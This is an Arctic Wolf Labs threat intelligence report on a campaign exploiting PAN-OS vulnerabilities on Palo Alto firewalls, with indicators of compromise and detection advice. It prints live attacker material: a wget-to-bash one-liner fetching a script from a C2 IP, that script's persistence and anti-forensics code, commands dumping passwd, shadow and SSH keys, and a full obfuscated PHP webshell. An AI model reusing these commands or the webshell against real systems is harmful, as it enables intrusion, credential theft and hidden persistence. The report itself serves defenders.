Arctic Wolf Observes Threat Campaign Targeting Palo Alto Networks Firewall Devices - Arctic Wolf

By Julian Tuin, Stefan Hostetler, Jon Grimm, Aaron Diaz, and Trevor Daher

Published: 2024-11-22 · Archived: 2026-04-05 17:37:18 UTC

Key Takeaways

- Arctic Wolf has observed multiple intrusions across a variety of industries involving Palo Alto Network firewall devices.
- Affected devices triggered downloads over HTTP including the Sliver C2 framework, coinminer binaries, and various other payloads.
- Evidence suggests that threat actors exploited the recently disclosed PAN-OS vulnerabilities CVE-2024-0012 and CVE-2024-9474 to gain initial access.
- Monitoring firewall logs for usernames with unusual characters provides an opportunity for early kill chain detection.

Summary

On November 18, 2024, Palo Alto Networks disclosed the existence of two vulnerabilities (CVE-2024-0012 and CVE-2024-9474) in Palo Alto Networks OS (PAN-OS), the operating system used on their firewall devices. A day later, watchTowr released a report providing technical details on how to chain the two vulnerabilities together to achieve remote code execution of these vulnerabilities. While they did not publish a proof-of-concept exploit, the details provided were sufficient to understand the exploitation process.

Several hours after the watchTowr report was published, Arctic Wolf Labs began to observe multiple intrusions affecting Palo Alto Networks devices. Based on the close timing of the watchTowr disclosure and additional evidence reviewed by Arctic Wolf Labs, we assess with moderate confidence that these intrusions likely involved the exploitation of CVE-2024-0012 chained together with CVE-2024-9474 for initial access.

We are sharing details of these intrusions to help organizations defend against these threats. Please note that we may add further detail to this article as we uncover additional information in our ongoing investigation.

What We Know About the Intrusions

Exploitation Details

Historically, threat actors have shown an interest in rapidly weaponizing newly disclosed vulnerabilities, especially for perimeter devices such as firewalls and VPN gateways. When the CVE-2024-3400 RCE vulnerability in PAN-OS was disclosed in April 2024 with a subsequent watchTowr technical writeup, threat actors were quick to begin mass exploitation using the available technical details.

With the disclosure of CVE-2024-0012/CVE-2024-9474, we observe a similar pattern of threat activity targeting PAN devices immediately following the publication of relevant technical details. As described in the most recent watchTowr article, a username field can be abused for the injection of arbitrary commands. This aligns with firewall log lines that we observed showing a Panorama console login where the username field includes a bash command enclosed in backticks:

```
1,2024/11/20 REDACTED_TIME,REDACTED_ID,SYSTEM,general,2562,2024/11/20 08:08:18,,general,,0,0,general,i
```

Notably, some files observed during this stage of the attack referenced watchTowr and CVE-2024-9474.

- watchTowr.js
- watchTowr.php
- watchTowr.txt
- CVE20249474.php

Command and Control

Arctic Wolf Labs observed several similar indicators of compromise in the most recent intrusions to what was seen with CVE-2024-3400. For example, as seen in the example command below, a common pattern is for threat actors to use curl or wget on compromised devices to download malicious payloads with IPv4 addresses in the URLs instead of domain names.

Several commands were observed in the most recent intrusions that indicated potential ingress tool transfer. One notable example is an instance where Sliver C2 was retrieved, an open-source alternative to the commonly used Cobalt Strike penetration testing tool.

```
wget --no-check-certificate -qO-https://104.131.69.106/vicidial/vicidial_sign.js|bash
```

The contents of the script (vicidial_sign.js) shown below has several key functions:

- Curl is used to download a JavaScript file (up.js) from the 104.131.69[.]106 IP address and saves it to the /usr/lib/e_nas directory. If curl fails, it attempts to use wget instead.
- The touch command is used to change the modification and access timestamp of the /usr/lib/e_nas directory to match that of /usr/lib/php.ini, likely to hide the recent modification to the file.
- Any existing content in the /etc/cron.hourly/telemetry.cron file is cleared out, and a script is written to the same path.
- The script then checks if a process named cloud-lib is running (psgrep -x cloud_lib), and if not, it copies, /usr/lib/e_nas to the /usr/bin/cloud-lib directory, setting its permission to executable only by owner (chmod 700), then proceeds to run it in the background.
- The permission of /etc/cron.hourly/telemetry.cron is changed to 755, allowing it to be executed.
- The touch command is used again to modify the timestamps of /etc/cron.hourly/telemetry.cron to match /etc/cron.hourly/logrotate_hourly, again likely to hide the modification to the file.

- Bash history is cleared to avoid evidence of the commands having been executed.

```
#!/bin/bash
curl -k https://104.131.69.106/vicidial/up.js -o /usr/lib/e_nas || wget --no-check-certificate https:/
touch -r  /usr/lib/php.ini /usr/lib/e_nas
echo '' > /etc/cron.hourly/telemetry.cron
echo '#!/bin/sh' > /etc/cron.hourly/telemetry.cron
echo "bash -c 'if ! pgrep -x cloud-lib; then cp /usr/lib/e_nas /usr/bin/cloud-lib &&  chmod 700 /usr/b
chmod 755 /etc/cron.hourly/telemetry.cron
touch -r /etc/cron.hourly/logrotate_hourly /etc/cron.hourly/telemetry.cron
echo "" > /root/.bash_history
```

The file (up.js) outlined in the section above is a UPX-packed Sliver payload.

Data Exfiltration

In observed intrusions, threat actors issued multiple data staging and exfiltration commands to retrieve sensitive information from firewall devices. Most exfiltration data included firewall configuration files which are known to include hashed credentials. Additionally, some attempts were made to exfiltrate operating system passwd and shadow files.

Here is a selection of injected commands involving attempts to exfiltrate credentials and PAN configuration files:

```
cat /root/.ssh/authorized_keys > /var/appweb/htdocs/unauth/^[a-zA-Z]{6}.php'
cat /etc/networks > /var/appweb/htdocs/unauth/^[a-zA-Z]{6}.php'
arp -a > /var/appweb/htdocs/unauth//^[a-zA-Z]{6}.php'
cat /etc/passwd > /var/appweb/htdocs/unauth//^[a-zA-Z]{6}.php'
cat /etc/shadow > /var/appweb/htdocs/unauth/watchTowr.txt'
```

In some instances, threat actors archived the output of these files using the tar command:

```
tar -zcvf /tmp/f03.png /opt/pancfg/mgmt/saved-configs
```

PHP Webshell

One of the payloads deployed was an obfuscated PHP webshell. The key functions are as follows:

1. When a HTTP request is made, the webshell monitors for the use of an obfuscated POST parameter called $oNvPH071PRH, which is a base64 encoded and XOR encrypted string.
2. Upon decryption of that POST parameter, the webshell looks for a provided payload parameter, which it proceeds to execute through the PHP eval function.

3. The output is base64 encoded and XOR encrypted, and is padded with a header of the first 8 bytes consisting of the md5sum of 18f566d952acaa29, and with a footer of the last 8 bytes consisting of the md5sum of 18f566d952acaa29.

```
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
$H6nb52reH=("C"^",").("j"^"$").("U"^"#").("."^"~").(":"^"r").("Z"^"j").("c"^"T").("}"^"L").(":"^"j").("0"^"b").("f"^".");
$ZMKRwhrWanv0=("Z"^"k").("["^"c").("+"^"M").("p"^"E").("U"^"c").("s"^"E").("L"^"C").("`"^"Y").("N"^"{").("s"^"A").("E"^"$").("6"^"U").("<"^"]").("4"^"U").
("J"^"x").("I"^"p");
$B8ueoKsm=("*"^"Z").("3"^"R").("F"^"?").("="^"Q").("&"^"I").("_"^">").("H"^",");
$UORUPZs4yEM=("$"^"I").("*"^"N").("s"^"F");
$zbq0tdD = ("H"^";").("3"^"F").("J"^"C").("*"^"Y").("-"^"Y").("#"^"Q");
$SRNGUsEwtKK = ("4"^"V").("/"^"N").("-"^"^").("^"^;").("Z"^"l").("P"^"d").("d"^";").("M"^"C").("+"^"E").("K"^"(").("%"^"J").("&"^"B").("H"^"-");
$axamlGEeWQQ2kq = ("G"^"%").("#"^"B").("V"^"%").("3"^"V").("h"^"^").("G"^"s").("#"^"|").(">"^"Z").("7"^"R").("4"^"W").("0"^"_").("3"^"W").("*"^"O");
$tdx2NV = ("8"^"_").("Y"^"<").("4"^"@").("l"^".").("*"^"K").("0"^"C").("G"^".").("E"^"&").("N"^"=").("b"^"+").("&"^"H").("L"^"*").("N"^"!");
$MTUJeaFER1 = ("T"^"'").("0"^"D").("U"^"'").("("^"X").("K"^"$").("2"^"A");

function rgtPSnQoj1U($KWQvjCQ6M7ZT2Sk,$rOypK2D){
    for($KuV6bhEDn=0;$KuV6bhEDn<strlen($KWQvjCQ6M7ZT2Sk);$KuV6bhEDn++) {
        $pRubQuPmO9J = $rOypK2D[$KuV6bhEDn+1&15];
        $KWQvjCQ6M7ZT2Sk[$KuV6bhEDn] = $KWQvjCQ6M7ZT2Sk[$KuV6bhEDn]^$pRubQuPmO9J;
    }
    return $KWQvjCQ6M7ZT2Sk;
}
if (isset($_POST[$H6nb52reH])){
    $opzMH9C=rgtPSnQoj1U($axamlGEeWQQ2kq($_POST[$H6nb52reH]),$ZMKRwhrWanv0);
    if (isset($_SESSION[$B8ueoKsm])){
        $HxRShJP4hfP8oA=rgtPSnQoj1U($_SESSION[$B8ueoKsm],$ZMKRwhrWanv0);
        if ($MTUJeaFER1($HxRShJP4hfP8oA,$tdx2NV)===false){
            $HxRShJP4hfP8oA=rgtPSnQoj1U($HxRShJP4hfP8oA,$ZMKRwhrWanv0);
        }
        eval($HxRShJP4hfP8oA);
        echo $zbq0tdD($UORUPZs4yEM($H6nb52reH.$ZMKRwhrWanv0),0,16);
        echo $SRNGUsEwtKK(rgtPSnQoj1U(@run($opzMH9C),$ZMKRwhrWanv0));
        echo $zbq0tdD($UORUPZs4yEM($H6nb52reH.$ZMKRwhrWanv0),16);
    }else{
        if ($MTUJeaFER1($opzMH9C,$tdx2NV)!==false){
            $_SESSION[$B8ueoKsm]=rgtPSnQoj1U($opzMH9C,$ZMKRwhrWanv0);
        }
    }
}
```

Coinminer Activity

Some cases involved the deployment of XMRig on compromised firewall devices.

Shortly after the retrieval and execution of the file, network traffic reaching out to known XMRig IP addresses was observed.

```
{"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"49VQVgmN9vYccj2tEgD7qgJPbLiGQcQ4uJxTRkTJUC
```

How Arctic Wolf Protects its Customers

Arctic Wolf is committed to ending cyber risk with its customers, and when active ransomware campaigns are identified we move quickly to protect our customers.

Arctic Wolf Labs has leveraged threat intelligence around the exploitation of Palo Alto Networks devices to implement new detections in the Arctic Wolf Platform to protect Managed Detection and Response (MDR) customers. As we discover any new information, we will enhance our detections to account for additional indicators of compromise and techniques leveraged by this threat actor.

Remediation

For more details on recommended actions to address these vulnerabilies, see our security bulletin here.

Conclusion

Threat actors don't wait around once new vulnerabilities are disclosed, especially for perimeter devices such as firewalls and VPN gateways. Across different campaigns and vulnerabilities, similar patterns emerge that help defenders react early in the kill chain.

The activities we've highlighted here are only scratching the surface. In this campaign, we've observed exfiltration of device configurations and credentials, along with the deployment of various payloads including coinminers, botnet malware, PHP webshells, and C2 frameworks. These observations illustrate the many ways that opportunistic threat actors attempt to leverage these vulnerabilities, for financial gain and otherwise.

Defenders should implement robust external monitoring and alerting for perimeter devices. In particular, close attention should be paid to unusual HTTP activity on such devices as it emerges. Additionally, as recommended by Palo Alto Networks, management interfaces of firewalls should not be exposed on the public internet, and should be restricted to only trusted internal IP addresses.

Acknowledgements

Arctic Wolf Labs acknowledges the work of Ishmael Guarin, Gagan Sahota, Jordan Bourcier, Phillip Kaiser, and Abdo Elhemaily on the Arctic Wolf Security Services team for identifying the mass exploitation campaign described in this article and identifying command injection in PAN firewall logs.

Appendix

Tactics, Techniques, and Procedures (TTPs)

Tactic	Technique	Sub-techniques or Tools
Initial Access	T1190: Exploit Public-Facing Application	• Exploited CVE-2024-0012 to gain administrator access to the management web interface of devices running PAN-OS software
Privilege escalation	T1068: Exploitation for Privilege Escalation	• Exploited CVE-2024-9474 to elevate privileges to root on devices running PAN-OS software
Defense Evasion	T1027: Obfuscated Files or Information	• Obfuscated multiple scripts and malicious payloads
	T1070.003: Indicator removal: clear command history	• Cleared bash history
	T1070.006: Indicator removal: Timestomp	• Uses the touch command to modify file timestamps

Credential Access	T1003.008: OS Credential dumping: /etc/passwd and /etc/shadow	• Utilized the cat command to output file contents of passwd and shadow
Collection	T1560: Archive Collected Data	• Utilized the tar command to archive staged data
	T1119: Automated Collection	• Automatically collected firewall configuration information
	T1074.001: Local Data Staging	• Output sensitive information to random files in a specific directory before bundling them together for exfiltration
Command-and-Control	T1105: Ingress Tool Transfer	• Utilizes wget and curl to retrieve files from C2 addresses
Impact	T1496.001: Computer Hijacking	• Deployed XMRig coinminer to mine cryptocurrency using the device resources

Tools

Name	Description
XMRig	A tool used to leverage host resources to mine cryptocurrencies such as XMR.
Sliver C2	Penetration testing framework. An open-source alternative to another known penetration testing framework, Cobalt Strike.

Vulnerabilities Exploited

Vulnerability	Use
CVE-2024-0012 (CVSS:9.8)	Authentication bypass vulnerability in Palo Alto Networks PAN-OS software allows an unauthenticated attacker with network access to the management web interface to gain PAN-OS administrator privileges
CVE-2024-9474 (CVSS:7.2)	Privilege escalation vulnerability in Palo Alto Networks PAN-OS software allows a PAN-OS administrator with access to the management web interface to perform actions on the firewall with root privileges.

Indicators of Compromise (IoCs)

Indicator	Type	Description

104.131.69[.]106	IPv4 Address	Sliver C2 / Payload Server
104.21.52[.]167	IPv4	Sliver C2<
156.244.14[.]127	IPv4 Address	Payload Server
180.210.220[.]139	IPv4 Address	Payload Server
143.198.1[.]178	IPv4 Address	Payload Server (Malicious PHP Code)
38.180.147[.]18	IPv4 Address	Payload Server
31.41.221[.]158	IPv4 Address	Payload Server
185.196.9[.]154	IPv4 Address	Payload (Malicious PHP Code)
95.164.5[.]41	IPv4 Address	Payload Server
93.113.25[.]46	IPv4 Address	Sliver C2 / Payload Server
107.191.48[.]109	IPv4 Address	Sliver C2 / Payload Server
38.60.214[.]5	IPv4 Address	Payload Server
46.8.226[.]75	IPv4 Address	Payload Server (Malicious PHP Code)
38.60.214[.]5/2.txt	IPv4 Address	Payload Server

46.8.226[.]75/1.txt	URL	Payload Server
93.113.25[.]46:8088/pay.txt	URL	Payload Server
img.dxyjg[.]com	Domain	Payload Server
sys.traceroute[.]vip/actions/register.html?q=88238714&yh=1743w7344	URL	Sliver C2
77.221.158[.]154	IPv4 Address	Sliver C2
A3092BFA4199DEF7FC525465895EE3784C6FCF55F0A7E9C8436C027E0F41CB4B	SHA256 Hash	Sliver Payload

Detection Opportunities

As part of our Managed Detection and Response service, Arctic Wolf has detections in place for techniques described in this blog article, in addition to other techniques employed by threat actors described here.

Firewall

Command injection used in exploitation of CVE-2024-9474 can be detected through bash commands in the username field of log lines involving Panorama console logins. In general, if a username contains unusual characters, it should be treated as suspicious.

```
1,2024/11/20 REDACTED_TIME,REDACTED_ID,SYSTEM,general,2562,2024/11/20 08:08:18,,general,,0,0,general,i
```

Network

On firewall devices, files downloaded over HTTP from URLs with IPv4 addresses should be considered suspicious when not originating from the vendor or another expected source such as a block list provider.

Additional Resources

Get actionable insights and access to the security operations expertise of one of the largest security operations centers (SOCs) in the world in Arctic Wolf's 2024 Security Operations Report.

Learn what's new, what's changed, and what's ahead for the cybersecurity landscape, with insights from 1,000 global IT and security leaders in the Arctic Wolf State of Cybersecurity: 2024 Trends Report.

About Arctic Wolf Labs

Arctic Wolf is a group of elite security researchers, data scientists, and security development engineers who explore security topics to deliver cutting-edge threat research on new and emerging adversaries, develop and refine advanced threat detection models with artificial intelligence, including machine learning, and drive continuous improvement in the speed, scale, and detection efficacy of Arctic Wolf's solution offerings. With their deep domain knowledge, Arctic Wolf Labs brings world-class security innovations to not only Arctic Wolf's customer base, but the security community at large.

Authors

Julian Tuin

Julian is a Senior Threat Intelligence Researcher at Arctic Wolf Labs with more than 6 years of industry experience. He has experience in identifying and tracking campaigns for new and emerging threats.

Stefan Hostetler

Stefan is a Lead Threat Intelligence Researcher at Arctic Wolf. With over a decade of industry experience under his belt, he focuses on extracting actionable insight from novel threats to help organizations protect themselves effectively.

Jon Grimm

Jon is a Threat Intelligence Analyst at Arctic Wolf dedicated to identifying new cyber threats and producing actionable intelligence that enhances organizational defenses. He has background of 10 years' experience in several domains of cybersecurity, holds a bachelor's degree in law enforcement, and holds several industry certifications (CISSP, GCFA, GCTI).

Aaron Diaz

Aaron is a Lead Security Researcher at Arctic Wolf Labs focusing on malware analysis and detection research. He has more than 8 years of experience in the industry with a background in threat hunting, malware analysis/development and vulnerability research. Aaron has passion for novel threat research and adversary tradecraft.

Trevor Daher

Trevor Daher is a Technical Lead within Arctic Wolf's Security Services group supporting the Managed Detection and Response (MDR) service.
